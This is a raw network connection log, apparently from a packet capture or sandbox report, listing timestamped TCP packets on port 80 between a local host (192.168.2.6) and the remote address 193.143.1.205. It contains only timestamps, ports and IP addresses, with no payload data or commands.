Jan 11, 2025 08:03:55.586905003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.586905003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.589221001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589234114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589248896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589272022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589286089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589301109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589314938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589339018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.589339018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.589339018 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.589657068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.589669943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.590189934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.590975046 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.596786976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.596823931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.596837997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.596873045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.596873045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.603101015 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.621274948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.621301889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.621314049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.621336937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.621351957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.621366978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.621372938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.621372938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.622307062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.628901958 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.637005091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.646269083 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.646291018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.646306992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.646322012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.646420002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.646420002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.671576977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671623945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671700001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671721935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.671737909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671771049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671794891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.671822071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671864986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.671870947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671905994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671936989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.671969891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672000885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672020912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.672020912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.672051907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672084093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672116995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672152042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672185898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.672185898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.672188044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672216892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.672238111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.696671009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696686029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696707010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696721077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696732998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696747065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696747065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.696760893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696845055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.696845055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.696850061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696865082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696878910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696913958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696928978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696943045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.696952105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.696952105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697001934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697187901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697202921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697216034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697237968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697252989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697261095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697276115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697334051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697334051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697529078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697544098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697565079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697577953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697587013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697637081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697644949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697652102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697665930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.697675943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697788954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.697788954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698087931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698101997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698116064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698129892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698143959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698158026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698165894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698204994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698204994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698204994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698227882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698249102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698266029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698278904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698293924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698307037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698312044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698322058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698357105 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698369026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698652029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698677063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698690891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698712111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698743105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698744059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698757887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698772907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698857069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.698946953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698961020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698975086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.698987961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699002028 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699002981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699011087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699032068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699039936 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699045897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699059963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699069977 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699074030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699088097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699101925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699130058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699130058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699146032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699683905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699698925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699712992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699733973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699747086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699752092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699760914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699775934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699778080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699989080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.699989080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.699989080 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700005054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700017929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700031996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700046062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700048923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700059891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700073957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700087070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700090885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700100899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700114965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700131893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700144053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700144053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700767994 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700797081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700812101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700824976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700824976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700824976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700826883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700840950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700855017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700864077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700870037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700882912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700896978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700911045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.700961113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700961113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.700961113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.707978964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.713726997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713795900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713809967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713824034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713838100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713851929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713865995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.713882923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.713998079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.716227055 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.763967037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764004946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764020920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764043093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764065981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764096975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764112949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764128923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764143944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764157057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764162064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764175892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764189959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764204025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764219046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764262915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764262915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764272928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764287949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764321089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764441013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764456034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764472961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764487028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764663935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764663935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.764663935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764703035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764719963 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.764731884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.765005112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.765005112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.789213896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789248943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789272070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789285898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789300919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789314032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789325953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.789325953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.789329052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789345026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789360046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789371967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.789393902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.789484024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.789843082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789911985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789947033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789979935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.789990902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790016890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790076971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790080070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790110111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790142059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790143013 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790174961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790205956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790206909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790256977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790276051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790290117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790323019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790344000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790354967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790391922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790411949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790426016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790460110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790492058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790517092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790529013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790560961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790594101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790642023 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790647030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790647030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790676117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790726900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790730953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790854931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790857077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.790888071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790920019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790952921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.790983915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791008949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791008949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791022062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791085005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791116953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791148901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791158915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791158915 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791182995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791215897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791239023 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791249990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791285038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791337967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791455984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791492939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791511059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791542053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791573048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791588068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791610956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791625977 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791640043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791654110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791667938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791682959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791682959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791682959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791682959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791697025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791704893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791712999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791765928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791779995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791804075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791804075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791804075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.791824102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791840076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.791881084 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792404890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792421103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792435884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792459011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792474985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.792484045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792484045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.792489052 CET	80	49710	193.143.1.205	192.168.2.6
